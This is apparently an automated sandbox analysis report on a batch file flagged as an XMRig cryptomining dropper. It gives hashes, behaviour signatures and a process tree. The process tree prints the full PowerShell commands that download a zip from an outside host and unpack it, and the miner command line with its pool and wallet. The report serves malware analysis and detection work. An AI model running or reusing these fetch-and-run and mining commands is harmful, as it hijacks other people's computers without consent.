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Analysis

  • max time kernel
    1799s
  • max time network
    1792s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/10/2023, 10:06

General

  • Target

    tesy - Copy (12).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3692
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4904
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1228
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3332
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3768
  • C:\Windows\System32\Upfc.exe
    C:\Windows\System32\Upfc.exe /launchtype periodic /cv 5pJQUowA70WxttVVTCfU8g.0
    1⤵
      PID:660

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      143a478fb47996f74bbbcdaa252b9e0b

      SHA1

      288893a45c1c50f8245a32aa06dfb1ac2ff31c83

      SHA256

      6d91b6cc49e12bf850b873bfd57f591a37fe1aef5ca6e2bc8855dc866abf479b

      SHA512

      e7e2d235fc60e58fe10961515db7f1a667cc58268b8cd3066afa5e7e4de0b1217e3cb85fbe24230b3eb7ac94399fa42971772954a0c309d3cb9334b7a67f93d8

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mmmp4cib.jzd.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\test.zip

      Filesize

      3.2MB

      MD5

      3238c0d25d84b6f0bb645bbb29cdbf61

      SHA1

      11ae550c8a82c0793862c366b92072ad7e18befe

      SHA256

      b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

      SHA512

      d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

      Filesize

      170B

      MD5

      78657df2e34e338ff135d3dde69177bf

      SHA1

      d5048a4270b7ba599e941d26d61bfa2e8da31fce

      SHA256

      9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

      SHA512

      f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

      Filesize

      7.9MB

      MD5

      4813fa6d610e180b097eae0ce636d2aa

      SHA1

      1e9cd17ea32af1337dd9a664431c809dd8a64d76

      SHA256

      9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

      SHA512

      5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

    • memory/1228-25-0x00007FFC3F040000-0x00007FFC3FB01000-memory.dmp

      Filesize

      10.8MB

    • memory/1228-27-0x000001B3B63E0000-0x000001B3B63F0000-memory.dmp

      Filesize

      64KB

    • memory/1228-28-0x000001B3B63E0000-0x000001B3B63F0000-memory.dmp

      Filesize

      64KB

    • memory/1228-29-0x000001B3B8760000-0x000001B3B8772000-memory.dmp

      Filesize

      72KB

    • memory/1228-30-0x000001B3B8750000-0x000001B3B875A000-memory.dmp

      Filesize

      40KB

    • memory/1228-39-0x00007FFC3F040000-0x00007FFC3FB01000-memory.dmp

      Filesize

      10.8MB

    • memory/3768-73-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-79-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-44-0x0000011C58D90000-0x0000011C58DB0000-memory.dmp

      Filesize

      128KB

    • memory/3768-45-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-46-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-47-0x0000011CEB210000-0x0000011CEB230000-memory.dmp

      Filesize

      128KB

    • memory/3768-48-0x0000011CEB440000-0x0000011CEB460000-memory.dmp

      Filesize

      128KB

    • memory/3768-49-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-50-0x0000011CEB210000-0x0000011CEB230000-memory.dmp

      Filesize

      128KB

    • memory/3768-51-0x0000011CEB440000-0x0000011CEB460000-memory.dmp

      Filesize

      128KB

    • memory/3768-52-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-53-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-54-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-55-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-56-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-57-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-58-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-59-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-60-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-61-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-62-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-63-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-64-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-65-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-66-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-67-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-68-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-69-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-70-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-71-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-72-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-111-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-74-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-75-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-76-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-77-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-78-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-43-0x0000011C58D50000-0x0000011C58D70000-memory.dmp

      Filesize

      128KB

    • memory/3768-80-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-81-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-82-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-83-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-84-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-85-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-86-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-87-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-88-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-89-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-90-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-91-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-92-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-93-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-94-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-95-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-96-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-97-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-98-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-99-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-100-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-101-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-102-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-103-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-104-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-105-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-106-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-107-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-108-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-109-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/3768-110-0x00007FF7F2220000-0x00007FF7F2D23000-memory.dmp

      Filesize

      11.0MB

    • memory/4904-5-0x0000023647C10000-0x0000023647C32000-memory.dmp

      Filesize

      136KB

    • memory/4904-10-0x00007FFC3F040000-0x00007FFC3FB01000-memory.dmp

      Filesize

      10.8MB

    • memory/4904-11-0x0000023645B90000-0x0000023645BA0000-memory.dmp

      Filesize

      64KB

    • memory/4904-12-0x0000023645B90000-0x0000023645BA0000-memory.dmp

      Filesize

      64KB

    • memory/4904-15-0x00007FFC3F040000-0x00007FFC3FB01000-memory.dmp

      Filesize

      10.8MB